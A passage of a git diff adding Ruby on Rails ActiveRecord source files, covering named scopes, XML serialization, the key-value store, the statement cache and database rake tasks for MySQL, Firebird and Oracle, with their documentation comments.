+ self.ignore_default_scope = true
+ yield
+ ensure
+ self.ignore_default_scope = false
+ end
+ end
+ end
+ end
+ end
+end
diff --git a/activerecord/lib/active_record/scoping/named.rb b/activerecord/lib/active_record/scoping/named.rb
new file mode 100644
index 0000000..da73bea
--- /dev/null
+++ b/activerecord/lib/active_record/scoping/named.rb
@@ -0,0 +1,175 @@
+require 'active_support/core_ext/array'
+require 'active_support/core_ext/hash/except'
+require 'active_support/core_ext/kernel/singleton_class'
+
+module ActiveRecord
+ # = Active Record \Named \Scopes
+ module Scoping
+ module Named
+ extend ActiveSupport::Concern
+
+ module ClassMethods
+ # Returns an <tt>ActiveRecord::Relation</tt> scope object.
+ #
+ # posts = Post.all
+ # posts.size # Fires "select count(*) from posts" and returns the count
+ # posts.each {|p| puts p.name } # Fires "select * from posts" and loads post objects
+ #
+ # fruits = Fruit.all
+ # fruits = fruits.where(color: 'red') if options[:red_only]
+ # fruits = fruits.limit(10) if limited?
+ #
+ # You can define a scope that applies to all finders using
+ # <tt>ActiveRecord::Base.default_scope</tt>.
+ def all
+ if current_scope
+ current_scope.clone
+ else
+ scope = relation
+ scope.default_scoped = true
+ scope
+ end
+ end
+
+ # Collects attributes from scopes that should be applied when creating
+ # an AR instance for the particular class this is called on.
+ def scope_attributes # :nodoc:
+ if current_scope
+ current_scope.scope_for_create
+ else
+ scope = relation
+ scope.default_scoped = true
+ scope.scope_for_create
+ end
+ end
+
+ # Are there default attributes associated with this scope?
+ def scope_attributes? # :nodoc:
+ current_scope || default_scopes.any?
+ end
+
+ # Adds a class method for retrieving and querying objects. A \scope
+ # represents a narrowing of a database query, such as
+ # <tt>where(color: :red).select('shirts.*').includes(:washing_instructions)</tt>.
+ #
+ # class Shirt < ActiveRecord::Base
+ # scope :red, -> { where(color: 'red') }
+ # scope :dry_clean_only, -> { joins(:washing_instructions).where('washing_instructions.dry_clean_only = ?', true) }
+ # end
+ #
+ # The above calls to +scope+ define class methods <tt>Shirt.red</tt> and
+ # <tt>Shirt.dry_clean_only</tt>. <tt>Shirt.red</tt>, in effect,
+ # represents the query <tt>Shirt.where(color: 'red')</tt>.
+ #
+ # You should always pass a callable object to the scopes defined
+ # with +scope+. This ensures that the scope is re-evaluated each
+ # time it is called.
+ #
+ # Note that this is simply 'syntactic sugar' for defining an actual
+ # class method:
+ #
+ # class Shirt < ActiveRecord::Base
+ # def self.red
+ # where(color: 'red')
+ # end
+ # end
+ #
+ # Unlike <tt>Shirt.find(...)</tt>, however, the object returned by
+ # <tt>Shirt.red</tt> is not an Array; it resembles the association object
+ # constructed by a +has_many+ declaration. For instance, you can invoke
+ # <tt>Shirt.red.first</tt>, <tt>Shirt.red.count</tt>,
+ # <tt>Shirt.red.where(size: 'small')</tt>. Also, just as with the
+ # association objects, named \scopes act like an Array, implementing
+ # Enumerable; <tt>Shirt.red.each(&block)</tt>, <tt>Shirt.red.first</tt>,
+ # and <tt>Shirt.red.inject(memo, &block)</tt> all behave as if
+ # <tt>Shirt.red</tt> really was an Array.
+ #
+ # These named \scopes are composable. For instance,
+ # <tt>Shirt.red.dry_clean_only</tt> will produce all shirts that are
+ # both red and dry clean only. Nested finds and calculations also work
+ # with these compositions: <tt>Shirt.red.dry_clean_only.count</tt>
+ # returns the number of garments for which these criteria obtain.
+ # Similarly with <tt>Shirt.red.dry_clean_only.average(:thread_count)</tt>.
+ #
+ # All scopes are available as class methods on the ActiveRecord::Base
+ # descendant upon which the \scopes were defined. But they are also
+ # available to +has_many+ associations. If,
+ #
+ # class Person < ActiveRecord::Base
+ # has_many :shirts
+ # end
+ #
+ # then <tt>elton.shirts.red.dry_clean_only</tt> will return all of
+ # Elton's red, dry clean only shirts.
+ #
+ # \Named scopes can also have extensions, just as with +has_many+
+ # declarations:
+ #
+ # class Shirt < ActiveRecord::Base
+ # scope :red, -> { where(color: 'red') } do
+ # def dom_id
+ # 'red_shirts'
+ # end
+ # end
+ # end
+ #
+ # Scopes can also be used while creating/building a record.
+ #
+ # class Article < ActiveRecord::Base
+ # scope :published, -> { where(published: true) }
+ # end
+ #
+ # Article.published.new.published # => true
+ # Article.published.create.published # => true
+ #
+ # \Class methods on your model are automatically available
+ # on scopes. Assuming the following setup:
+ #
+ # class Article < ActiveRecord::Base
+ # scope :published, -> { where(published: true) }
+ # scope :featured, -> { where(featured: true) }
+ #
+ # def self.latest_article
+ # order('published_at desc').first
+ # end
+ #
+ # def self.titles
+ # pluck(:title)
+ # end
+ # end
+ #
+ # We are able to call the methods like this:
+ #
+ # Article.published.featured.latest_article
+ # Article.featured.titles
+ def scope(name, body, &block)
+ extension = Module.new(&block) if block
+
+ # Check body.is_a?(Relation) to prevent the relation actually being
+ # loaded by respond_to?
+ if body.is_a?(Relation) || !body.respond_to?(:call)
+ ActiveSupport::Deprecation.warn(
+ "Using #scope without passing a callable object is deprecated. For " \
+ "example `scope :red, where(color: 'red')` should be changed to " \
+ "`scope :red, -> { where(color: 'red') }`. There are numerous gotchas " \
+ "in the former usage and it makes the implementation more complicated " \
+ "and buggy. (If you prefer, you can just define a class method named " \
+ "`self.red`.)"
+ )
+ end
+
+ singleton_class.send(:define_method, name) do |*args|
+ if body.respond_to?(:call)
+ scope = all.scoping { body.call(*args) }
+ scope = scope.extending(extension) if extension
+ else
+ scope = body
+ end
+
+ scope || all
+ end
+ end
+ end
+ end
+ end
+end
diff --git a/activerecord/lib/active_record/serialization.rb b/activerecord/lib/active_record/serialization.rb
new file mode 100644
index 0000000..bd9079b
--- /dev/null
+++ b/activerecord/lib/active_record/serialization.rb
@@ -0,0 +1,22 @@
+module ActiveRecord #:nodoc:
+ # = Active Record Serialization
+ module Serialization
+ extend ActiveSupport::Concern
+ include ActiveModel::Serializers::JSON
+
+ included do
+ self.include_root_in_json = false
+ end
+
+ def serializable_hash(options = nil)
+ options = options.try(:clone) || {}
+
+ options[:except] = Array(options[:except]).map { |n| n.to_s }
+ options[:except] |= Array(self.class.inheritance_column)
+
+ super(options)
+ end
+ end
+end
+
+require 'active_record/serializers/xml_serializer'
diff --git a/activerecord/lib/active_record/serializers/xml_serializer.rb b/activerecord/lib/active_record/serializers/xml_serializer.rb
new file mode 100644
index 0000000..1a76609
--- /dev/null
+++ b/activerecord/lib/active_record/serializers/xml_serializer.rb
@@ -0,0 +1,197 @@
+require 'active_support/core_ext/hash/conversions'
+
+module ActiveRecord #:nodoc:
+ module Serialization
+ include ActiveModel::Serializers::Xml
+
+ # Builds an XML document to represent the model. Some configuration is
+ # available through +options+. However more complicated cases should
+ # override ActiveRecord::Base#to_xml.
+ #
+ # By default the generated XML document will include the processing
+ # instruction and all the object's attributes. For example:
+ #
+ # <?xml version="1.0" encoding="UTF-8"?>
+ # <topic>
+ # <title>The First Topic</title>
+ # <author-name>David</author-name>
+ # <id type="integer">1</id>
+ # <approved type="boolean">false</approved>
+ # <replies-count type="integer">0</replies-count>
+ # <bonus-time type="dateTime">2000-01-01T08:28:00+12:00</bonus-time>
+ # <written-on type="dateTime">2003-07-16T09:28:00+1200</written-on>
+ # <content>Have a nice day</content>
+ # <author-email-address>david at loudthinking.com</author-email-address>
+ # <parent-id></parent-id>
+ # <last-read type="date">2004-04-15</last-read>
+ # </topic>
+ #
+ # This behavior can be controlled with <tt>:only</tt>, <tt>:except</tt>,
+ # <tt>:skip_instruct</tt>, <tt>:skip_types</tt>, <tt>:dasherize</tt> and <tt>:camelize</tt> .
+ # The <tt>:only</tt> and <tt>:except</tt> options are the same as for the
+ # +attributes+ method. The default is to dasherize all column names, but you
+ # can disable this setting <tt>:dasherize</tt> to +false+. Setting <tt>:camelize</tt>
+ # to +true+ will camelize all column names - this also overrides <tt>:dasherize</tt>.
+ # To not have the column type included in the XML output set <tt>:skip_types</tt> to +true+.
+ #
+ # For instance:
+ #
+ # topic.to_xml(skip_instruct: true, except: [ :id, :bonus_time, :written_on, :replies_count ])
+ #
+ # <topic>
+ # <title>The First Topic</title>
+ # <author-name>David</author-name>
+ # <approved type="boolean">false</approved>
+ # <content>Have a nice day</content>
+ # <author-email-address>david at loudthinking.com</author-email-address>
+ # <parent-id></parent-id>
+ # <last-read type="date">2004-04-15</last-read>
+ # </topic>
+ #
+ # To include first level associations use <tt>:include</tt>:
+ #
+ # firm.to_xml include: [ :account, :clients ]
+ #
+ # <?xml version="1.0" encoding="UTF-8"?>
+ # <firm>
+ # <id type="integer">1</id>
+ # <rating type="integer">1</rating>
+ # <name>37signals</name>
+ # <clients type="array">
+ # <client>
+ # <rating type="integer">1</rating>
+ # <name>Summit</name>
+ # </client>
+ # <client>
+ # <rating type="integer">1</rating>
+ # <name>Microsoft</name>
+ # </client>
+ # </clients>
+ # <account>
+ # <id type="integer">1</id>
+ # <credit-limit type="integer">50</credit-limit>
+ # </account>
+ # </firm>
+ #
+ # Additionally, the record being serialized will be passed to a Proc's second
+ # parameter. This allows for ad hoc additions to the resultant document that
+ # incorporate the context of the record being serialized. And by leveraging the
+ # closure created by a Proc, to_xml can be used to add elements that normally fall
+ # outside of the scope of the model -- for example, generating and appending URLs
+ # associated with models.
+ #
+ # proc = Proc.new { |options, record| options[:builder].tag!('name-reverse', record.name.reverse) }
+ # firm.to_xml procs: [ proc ]
+ #
+ # <firm>
+ # # ... normal attributes as shown above ...
+ # <name-reverse>slangis73</name-reverse>
+ # </firm>
+ #
+ # To include deeper levels of associations pass a hash like this:
+ #
+ # firm.to_xml include: {account: {}, clients: {include: :address}}
+ # <?xml version="1.0" encoding="UTF-8"?>
+ # <firm>
+ # <id type="integer">1</id>
+ # <rating type="integer">1</rating>
+ # <name>37signals</name>
+ # <clients type="array">
+ # <client>
+ # <rating type="integer">1</rating>
+ # <name>Summit</name>
+ # <address>
+ # ...
+ # </address>
+ # </client>
+ # <client>
+ # <rating type="integer">1</rating>
+ # <name>Microsoft</name>
+ # <address>
+ # ...
+ # </address>
+ # </client>
+ # </clients>
+ # <account>
+ # <id type="integer">1</id>
+ # <credit-limit type="integer">50</credit-limit>
+ # </account>
+ # </firm>
+ #
+ # To include any methods on the model being called use <tt>:methods</tt>:
+ #
+ # firm.to_xml methods: [ :calculated_earnings, :real_earnings ]
+ #
+ # <firm>
+ # # ... normal attributes as shown above ...
+ # <calculated-earnings>100000000000000000</calculated-earnings>
+ # <real-earnings>5</real-earnings>
+ # </firm>
+ #
+ # To call any additional Procs use <tt>:procs</tt>. The Procs are passed a
+ # modified version of the options hash that was given to +to_xml+:
+ #
+ # proc = Proc.new { |options| options[:builder].tag!('abc', 'def') }
+ # firm.to_xml procs: [ proc ]
+ #
+ # <firm>
+ # # ... normal attributes as shown above ...
+ # <abc>def</abc>
+ # </firm>
+ #
+ # Alternatively, you can yield the builder object as part of the +to_xml+ call:
+ #
+ # firm.to_xml do |xml|
+ # xml.creator do
+ # xml.first_name "David"
+ # xml.last_name "Heinemeier Hansson"
+ # end
+ # end
+ #
+ # <firm>
+ # # ... normal attributes as shown above ...
+ # <creator>
+ # <first_name>David</first_name>
+ # <last_name>Heinemeier Hansson</last_name>
+ # </creator>
+ # </firm>
+ #
+ # As noted above, you may override +to_xml+ in your ActiveRecord::Base
+ # subclasses to have complete control about what's generated. The general
+ # form of doing this is:
+ #
+ # class IHaveMyOwnXML < ActiveRecord::Base
+ # def to_xml(options = {})
+ # require 'builder'
+ # options[:indent] ||= 2
+ # xml = options[:builder] ||= ::Builder::XmlMarkup.new(indent: options[:indent])
+ # xml.instruct! unless options[:skip_instruct]
+ # xml.level_one do
+ # xml.tag!(:second_level, 'content')
+ # end
+ # end
+ # end
+ def to_xml(options = {}, &block)
+ XmlSerializer.new(self, options).serialize(&block)
+ end
+ end
+
+ class XmlSerializer < ActiveModel::Serializers::Xml::Serializer #:nodoc:
+ class Attribute < ActiveModel::Serializers::Xml::Serializer::Attribute #:nodoc:
+ def compute_type
+ klass = @serializable.class
+ type = if klass.serialized_attributes.key?(name)
+ super
+ elsif klass.columns_hash.key?(name)
+ klass.columns_hash[name].type
+ else
+ NilClass
+ end
+
+ { :text => :string,
+ :time => :datetime }[type] || type
+ end
+ protected :compute_type
+ end
+ end
+end
diff --git a/activerecord/lib/active_record/statement_cache.rb b/activerecord/lib/active_record/statement_cache.rb
new file mode 100644
index 0000000..dd4ee0c
--- /dev/null
+++ b/activerecord/lib/active_record/statement_cache.rb
@@ -0,0 +1,26 @@
+module ActiveRecord
+
+ # Statement cache is used to cache a single statement in order to avoid creating the AST again.
+ # Initializing the cache is done by passing the statement in the initialization block:
+ #
+ # cache = ActiveRecord::StatementCache.new do
+ # Book.where(name: "my book").limit(100)
+ # end
+ #
+ # The cached statement is executed by using the +execute+ method:
+ #
+ # cache.execute
+ #
+ # The relation returned by the block is cached, and for each +execute+ call the cached relation gets duped.
+ # Database is queried when +to_a+ is called on the relation.
+ class StatementCache
+ def initialize
+ @relation = yield
+ raise ArgumentError.new("Statement cannot be nil") if @relation.nil?
+ end
+
+ def execute
+ @relation.dup.to_a
+ end
+ end
+end
diff --git a/activerecord/lib/active_record/store.rb b/activerecord/lib/active_record/store.rb
new file mode 100644
index 0000000..a610f47
--- /dev/null
+++ b/activerecord/lib/active_record/store.rb
@@ -0,0 +1,156 @@
+require 'active_support/core_ext/hash/indifferent_access'
+
+module ActiveRecord
+ # Store gives you a thin wrapper around serialize for the purpose of storing hashes in a single column.
+ # It's like a simple key/value store baked into your record when you don't care about being able to
+ # query that store outside the context of a single record.
+ #
+ # You can then declare accessors to this store that are then accessible just like any other attribute
+ # of the model. This is very helpful for easily exposing store keys to a form or elsewhere that's
+ # already built around just accessing attributes on the model.
+ #
+ # Make sure that you declare the database column used for the serialized store as a text, so there's
+ # plenty of room.
+ #
+ # You can set custom coder to encode/decode your serialized attributes to/from different formats.
+ # JSON, YAML, Marshal are supported out of the box. Generally it can be any wrapper that provides +load+ and +dump+.
+ #
+ # Examples:
+ #
+ # class User < ActiveRecord::Base
+ # store :settings, accessors: [ :color, :homepage ], coder: JSON
+ # end
+ #
+ # u = User.new(color: 'black', homepage: '37signals.com')
+ # u.color # Accessor stored attribute
+ # u.settings[:country] = 'Denmark' # Any attribute, even if not specified with an accessor
+ #
+ # # There is no difference between strings and symbols for accessing custom attributes
+ # u.settings[:country] # => 'Denmark'
+ # u.settings['country'] # => 'Denmark'
+ #
+ # # Add additional accessors to an existing store through store_accessor
+ # class SuperUser < User
+ # store_accessor :settings, :privileges, :servants
+ # end
+ #
+ # The stored attribute names can be retrieved using +stored_attributes+.
+ #
+ # User.stored_attributes[:settings] # [:color, :homepage]
+ #
+ # == Overwriting default accessors
+ #
+ # All stored values are automatically available through accessors on the Active Record
+ # object, but sometimes you want to specialize this behavior. This can be done by overwriting
+ # the default accessors (using the same name as the attribute) and calling <tt>super</tt>
+ # to actually change things.
+ #
+ # class Song < ActiveRecord::Base
+ # # Uses a stored integer to hold the volume adjustment of the song
+ # store :settings, accessors: [:volume_adjustment]
+ #
+ # def volume_adjustment=(decibels)
+ # super(decibels.to_i)
+ # end
+ #
+ # def volume_adjustment
+ # super.to_i
+ # end
+ # end
+ module Store
+ extend ActiveSupport::Concern
+
+ included do
+ class_attribute :stored_attributes, instance_accessor: false
+ self.stored_attributes = {}
+ end
+
+ module ClassMethods
+ def store(store_attribute, options = {})
+ serialize store_attribute, IndifferentCoder.new(options[:coder])
+ store_accessor(store_attribute, options[:accessors]) if options.has_key? :accessors
+ end
+
+ def store_accessor(store_attribute, *keys)
+ keys = keys.flatten
+
+ _store_accessors_module.module_eval do
+ keys.each do |key|
+ define_method("#{key}=") do |value|
+ write_store_attribute(store_attribute, key, value)
+ end
+
+ define_method(key) do
+ read_store_attribute(store_attribute, key)
+ end
+ end
+ end
+
+ self.stored_attributes[store_attribute] ||= []
+ self.stored_attributes[store_attribute] |= keys
+ end
+
+ def _store_accessors_module
+ @_store_accessors_module ||= begin
+ mod = Module.new
+ include mod
+ mod
+ end
+ end
+ end
+
+ protected
+ def read_store_attribute(store_attribute, key)
+ attribute = initialize_store_attribute(store_attribute)
+ attribute[key]
+ end
+
+ def write_store_attribute(store_attribute, key, value)
+ attribute = initialize_store_attribute(store_attribute)
+ if value != attribute[key]
+ send :"#{store_attribute}_will_change!"
+ attribute[key] = value
+ end
+ end
+
+ private
+ def initialize_store_attribute(store_attribute)
+ attribute = send(store_attribute)
+ unless attribute.is_a?(ActiveSupport::HashWithIndifferentAccess)
+ attribute = IndifferentCoder.as_indifferent_hash(attribute)
+ send :"#{store_attribute}=", attribute
+ end
+ attribute
+ end
+
+ class IndifferentCoder # :nodoc:
+ def initialize(coder_or_class_name)
+ @coder =
+ if coder_or_class_name.respond_to?(:load) && coder_or_class_name.respond_to?(:dump)
+ coder_or_class_name
+ else
+ ActiveRecord::Coders::YAMLColumn.new(coder_or_class_name || Object)
+ end
+ end
+
+ def dump(obj)
+ @coder.dump self.class.as_indifferent_hash(obj)
+ end
+
+ def load(yaml)
+ self.class.as_indifferent_hash @coder.load(yaml)
+ end
+
+ def self.as_indifferent_hash(obj)
+ case obj
+ when ActiveSupport::HashWithIndifferentAccess
+ obj
+ when Hash
+ obj.with_indifferent_access
+ else
+ ActiveSupport::HashWithIndifferentAccess.new
+ end
+ end
+ end
+ end
+end
diff --git a/activerecord/lib/active_record/tasks/database_tasks.rb b/activerecord/lib/active_record/tasks/database_tasks.rb
new file mode 100644
index 0000000..8d0792f
--- /dev/null
+++ b/activerecord/lib/active_record/tasks/database_tasks.rb
@@ -0,0 +1,203 @@
+module ActiveRecord
+ module Tasks # :nodoc:
+ class DatabaseAlreadyExists < StandardError; end # :nodoc:
+ class DatabaseNotSupported < StandardError; end # :nodoc:
+
+ # <tt>ActiveRecord::Tasks::DatabaseTasks</tt> is a utility class, which encapsulates
+ # logic behind common tasks used to manage database and migrations.
+ #
+ # The tasks defined here are used in rake tasks provided by Active Record.
+ #
+ # In order to use DatabaseTasks, a few config values need to be set. All the needed
+ # config values are set by Rails already, so it's necessary to do it only if you
+ # want to change the defaults or when you want to use Active Record outside of Rails
+ # (in such case after configuring the database tasks, you can also use the rake tasks
+ # defined in Active Record).
+ #
+ #
+ # The possible config values are:
+ #
+ # * +env+: current environment (like Rails.env).
+ # * +database_configuration+: configuration of your databases (as in +config/database.yml+).
+ # * +db_dir+: your +db+ directory.
+ # * +fixtures_path+: a path to fixtures directory.
+ # * +migrations_paths+: a list of paths to directories with migrations.
+ # * +seed_loader+: an object which will load seeds, it needs to respond to the +load_seed+ method.
+ #
+ # Example usage of +DatabaseTasks+ outside Rails could look as such:
+ #
+ # include ActiveRecord::Tasks
+ # DatabaseTasks.database_configuration = YAML.load(File.read('my_database_config.yml'))
+ # DatabaseTasks.db_dir = 'db'
+ # # other settings...
+ #
+ # DatabaseTasks.create_current('production')
+ module DatabaseTasks
+ extend self
+
+ attr_writer :current_config
+ attr_accessor :database_configuration, :migrations_paths, :seed_loader, :db_dir,
+ :fixtures_path, :env
+
+ LOCAL_HOSTS = ['127.0.0.1', 'localhost']
+
+ def register_task(pattern, task)
+ @tasks ||= {}
+ @tasks[pattern] = task
+ end
+
+ register_task(/mysql/, ActiveRecord::Tasks::MySQLDatabaseTasks)
+ register_task(/postgresql/, ActiveRecord::Tasks::PostgreSQLDatabaseTasks)
+ register_task(/sqlite/, ActiveRecord::Tasks::SQLiteDatabaseTasks)
+
+ register_task(/firebird/, ActiveRecord::Tasks::FirebirdDatabaseTasks)
+ register_task(/sqlserver/, ActiveRecord::Tasks::SqlserverDatabaseTasks)
+ register_task(/(oci|oracle)/, ActiveRecord::Tasks::OracleDatabaseTasks)
+
+ def current_config(options = {})
+ options.reverse_merge! :env => env
+ if options.has_key?(:config)
+ @current_config = options[:config]
+ else
+ @current_config ||= if ENV['DATABASE_URL']
+ database_url_config
+ else
+ ActiveRecord::Base.configurations[options[:env]]
+ end
+ end
+ end
+
+ def create(*arguments)
+ configuration = arguments.first
+ class_for_adapter(configuration['adapter']).new(*arguments).create
+ rescue DatabaseAlreadyExists
+ $stderr.puts "#{configuration['database']} already exists"
+ rescue Exception => error
+ $stderr.puts error, *(error.backtrace)
+ $stderr.puts "Couldn't create database for #{configuration.inspect}"
+ end
+
+ def create_all
+ each_local_configuration { |configuration| create configuration }
+ end
+
+ def create_current(environment = env)
+ each_current_configuration(environment) { |configuration|
+ create configuration
+ }
+ ActiveRecord::Base.establish_connection environment
+ end
+
+ def create_database_url
+ create database_url_config
+ end
+
+ def drop(*arguments)
+ configuration = arguments.first
+ class_for_adapter(configuration['adapter']).new(*arguments).drop
+ rescue Exception => error
+ $stderr.puts error, *(error.backtrace)
+ $stderr.puts "Couldn't drop #{configuration['database']}"
+ end
+
+ def drop_all
+ each_local_configuration { |configuration| drop configuration }
+ end
+
+ def drop_current(environment = env)
+ each_current_configuration(environment) { |configuration|
+ drop configuration
+ }
+ end
+
+ def drop_database_url
+ drop database_url_config
+ end
+
+ def charset_current(environment = env)
+ charset ActiveRecord::Base.configurations[environment]
+ end
+
+ def charset(*arguments)
+ configuration = arguments.first
+ class_for_adapter(configuration['adapter']).new(*arguments).charset
+ end
+
+ def collation_current(environment = env)
+ collation ActiveRecord::Base.configurations[environment]
+ end
+
+ def collation(*arguments)
+ configuration = arguments.first
+ class_for_adapter(configuration['adapter']).new(*arguments).collation
+ end
+
+ def purge(configuration)
+ class_for_adapter(configuration['adapter']).new(configuration).purge
+ end
+
+ def structure_dump(*arguments)
+ configuration = arguments.first
+ filename = arguments.delete_at 1
+ class_for_adapter(configuration['adapter']).new(*arguments).structure_dump(filename)
+ end
+
+ def structure_load(*arguments)
+ configuration = arguments.first
+ filename = arguments.delete_at 1
+ class_for_adapter(configuration['adapter']).new(*arguments).structure_load(filename)
+ end
+
+ def load_seed
+ if seed_loader
+ seed_loader.load_seed
+ else
+ raise "You tried to load seed data, but no seed loader is specified. Please specify seed " +
+ "loader with ActiveRecord::Tasks::DatabaseTasks.seed_loader = your_seed_loader\n" +
+ "Seed loader should respond to load_seed method"
+ end
+ end
+
+ private
+
+ def database_url_config
+ @database_url_config ||=
+ ConnectionAdapters::ConnectionSpecification::Resolver.new(ENV["DATABASE_URL"], {}).spec.config.stringify_keys
+ end
+
+ def class_for_adapter(adapter)
+ key = @tasks.keys.detect { |pattern| adapter[pattern] }
+ unless key
+ raise DatabaseNotSupported, "Rake tasks not supported by '#{adapter}' adapter"
+ end
+ @tasks[key]
+ end
+
+ def each_current_configuration(environment)
+ environments = [environment]
+ environments << 'test' if environment == 'development'
+
+ configurations = ActiveRecord::Base.configurations.values_at(*environments)
+ configurations.compact.each do |configuration|
+ yield configuration unless configuration['database'].blank?
+ end
+ end
+
+ def each_local_configuration
+ ActiveRecord::Base.configurations.each_value do |configuration|
+ next unless configuration['database']
+
+ if local_database?(configuration)
+ yield configuration
+ else
+ $stderr.puts "This task only modifies local databases. #{configuration['database']} is on a remote host."
+ end
+ end
+ end
+
+ def local_database?(configuration)
+ configuration['host'].blank? || LOCAL_HOSTS.include?(configuration['host'])
+ end
+ end
+ end
+end
diff --git a/activerecord/lib/active_record/tasks/firebird_database_tasks.rb b/activerecord/lib/active_record/tasks/firebird_database_tasks.rb
new file mode 100644
index 0000000..98014a3
--- /dev/null
+++ b/activerecord/lib/active_record/tasks/firebird_database_tasks.rb
@@ -0,0 +1,56 @@
+module ActiveRecord
+ module Tasks # :nodoc:
+ class FirebirdDatabaseTasks # :nodoc:
+ delegate :connection, :establish_connection, to: ActiveRecord::Base
+
+ def initialize(configuration)
+ ActiveSupport::Deprecation.warn "This database tasks were deprecated, because this tasks should be served by the 3rd party adapter."
+ @configuration = configuration
+ end
+
+ def create
+ $stderr.puts 'sorry, your database adapter is not supported yet, feel free to submit a patch'
+ end
+
+ def drop
+ $stderr.puts 'sorry, your database adapter is not supported yet, feel free to submit a patch'
+ end
+
+ def purge
+ establish_connection(:test)
+ connection.recreate_database!
+ end
+
+ def charset
+ $stderr.puts 'sorry, your database adapter is not supported yet, feel free to submit a patch'
+ end
+
+ def structure_dump(filename)
+ set_firebird_env(configuration)
+ db_string = firebird_db_string(configuration)
+ Kernel.system "isql -a #{db_string} > #{filename}"
+ end
+
+ def structure_load(filename)
+ set_firebird_env(configuration)
+ db_string = firebird_db_string(configuration)
+ Kernel.system "isql -i #{filename} #{db_string}"
+ end
+
+ private
+
+ def set_firebird_env(config)
+ ENV['ISC_USER'] = config['username'].to_s if config['username']
+ ENV['ISC_PASSWORD'] = config['password'].to_s if config['password']
+ end
+
+ def firebird_db_string(config)
+ FireRuby::Database.db_string_for(config.symbolize_keys)
+ end
+
+ def configuration
+ @configuration
+ end
+ end
+ end
+end
diff --git a/activerecord/lib/active_record/tasks/mysql_database_tasks.rb b/activerecord/lib/active_record/tasks/mysql_database_tasks.rb
new file mode 100644
index 0000000..50569d2
--- /dev/null
+++ b/activerecord/lib/active_record/tasks/mysql_database_tasks.rb
@@ -0,0 +1,143 @@
+module ActiveRecord
+ module Tasks # :nodoc:
+ class MySQLDatabaseTasks # :nodoc:
+ DEFAULT_CHARSET = ENV['CHARSET'] || 'utf8'
+ DEFAULT_COLLATION = ENV['COLLATION'] || 'utf8_unicode_ci'
+ ACCESS_DENIED_ERROR = 1045
+
+ delegate :connection, :establish_connection, to: ActiveRecord::Base
+
+ def initialize(configuration)
+ @configuration = configuration
+ end
+
+ def create
+ establish_connection configuration_without_database
+ connection.create_database configuration['database'], creation_options
+ establish_connection configuration
+ rescue ActiveRecord::StatementInvalid => error
+ if /database exists/ === error.message
+ raise DatabaseAlreadyExists
+ else
+ raise
+ end
+ rescue error_class => error
+ if error.respond_to?(:errno) && error.errno == ACCESS_DENIED_ERROR
+ $stdout.print error.error
+ establish_connection root_configuration_without_database
+ connection.create_database configuration['database'], creation_options
+ if configuration['username'] != 'root'
+ connection.execute grant_statement.gsub(/\s+/, ' ').strip
+ end
+ establish_connection configuration
+ else
+ $stderr.puts "Couldn't create database for #{configuration.inspect}, #{creation_options.inspect}"
+ $stderr.puts "(If you set the charset manually, make sure you have a matching collation)" if configuration['encoding']
+ end
+ end
+
+ def drop
+ establish_connection configuration
+ connection.drop_database configuration['database']
+ end
+
+ def purge
+ establish_connection :test
+ connection.recreate_database configuration['database'], creation_options
+ end
+
+ def charset
+ connection.charset
+ end
+
+ def collation
+ connection.collation
+ end
+
+ def structure_dump(filename)
+ args = prepare_command_options('mysqldump')
+ args.concat(["--result-file", "#{filename}"])
+ args.concat(["--no-data"])
+ args.concat(["#{configuration['database']}"])
+ unless Kernel.system(*args)
+ $stderr.puts "Could not dump the database structure. "\
+ "Make sure `mysqldump` is in your PATH and check the command output for warnings."
+ end
+ end
+
+ def structure_load(filename)
+ args = prepare_command_options('mysql')
+ args.concat(['--execute', %{SET FOREIGN_KEY_CHECKS = 0; SOURCE #{filename}; SET FOREIGN_KEY_CHECKS = 1}])
+ args.concat(["--database", "#{configuration['database']}"])
+ Kernel.system(*args)
+ end
+
+ private
+
+ def configuration
+ @configuration
+ end
+
+ def configuration_without_database
+ configuration.merge('database' => nil)
+ end
+
+ def creation_options
+ Hash.new.tap do |options|
+ options[:charset] = configuration['encoding'] if configuration.include? 'encoding'
+ options[:collation] = configuration['collation'] if configuration.include? 'collation'
+
+ # Set default charset only when collation isn't set.
+ options[:charset] ||= DEFAULT_CHARSET unless options[:collation]
+
+ # Set default collation only when charset is also default.
+ options[:collation] ||= DEFAULT_COLLATION if options[:charset] == DEFAULT_CHARSET
+ end
+ end
+
+ def error_class
+ if configuration['adapter'] =~ /jdbc/
+ require 'active_record/railties/jdbcmysql_error'
+ ArJdbcMySQL::Error
+ elsif defined?(Mysql2)
+ Mysql2::Error
+ elsif defined?(Mysql)
+ Mysql::Error
+ else
+ StandardError
+ end
+ end
+
+ def grant_statement
+ <<-SQL
+GRANT ALL PRIVILEGES ON #{configuration['database']}.*
+ TO '#{configuration['username']}'@'localhost'
+IDENTIFIED BY '#{configuration['password']}' WITH GRANT OPTION;
+ SQL
+ end
+
+ def root_configuration_without_database
+ configuration_without_database.merge(
+ 'username' => 'root',
+ 'password' => root_password
+ )
+ end
+
+ def root_password
+ $stdout.print "Please provide the root password for your mysql installation\n>"
+ $stdin.gets.strip
+ end
+
+ def prepare_command_options(command)
+ args = [command]
+ args.concat(['--user', configuration['username']]) if configuration['username']
+ args << "--password=#{configuration['password']}" if configuration['password']
+ args.concat(['--default-character-set', configuration['encoding']]) if configuration['encoding']
+ configuration.slice('host', 'port', 'socket').each do |k, v|
+ args.concat([ "--#{k}", v ]) if v
+ end
+ args
+ end
+ end
+ end
+end
diff --git a/activerecord/lib/active_record/tasks/oracle_database_tasks.rb b/activerecord/lib/active_record/tasks/oracle_database_tasks.rb
new file mode 100644
index 0000000..de3aa50
--- /dev/null
+++ b/activerecord/lib/active_record/tasks/oracle_database_tasks.rb
@@ -0,0 +1,45 @@
+module ActiveRecord
+ module Tasks # :nodoc:
+ class OracleDatabaseTasks # :nodoc:
+ delegate :connection, :establish_connection, to: ActiveRecord::Base
+
+ def initialize(configuration)
+ ActiveSupport::Deprecation.warn "This database tasks were deprecated, because this tasks should be served by the 3rd party adapter."
+ @configuration = configuration
+ end
+
+ def create
+ $stderr.puts 'sorry, your database adapter is not supported yet, feel free to submit a patch'
+ end
+
+ def drop
+ $stderr.puts 'sorry, your database adapter is not supported yet, feel free to submit a patch'
+ end
+
+ def purge
+ establish_connection(:test)
+ connection.structure_drop.split(";\n\n").each { |ddl| connection.execute(ddl) }
+ end
+
+ def charset
+ $stderr.puts 'sorry, your database adapter is not supported yet, feel free to submit a patch'
+ end
+
+ def structure_dump(filename)
+ establish_connection(configuration)
+ File.open(filename, "w:utf-8") { |f| f << connection.structure_dump }
+ end
+
+ def structure_load(filename)
+ establish_connection(configuration)
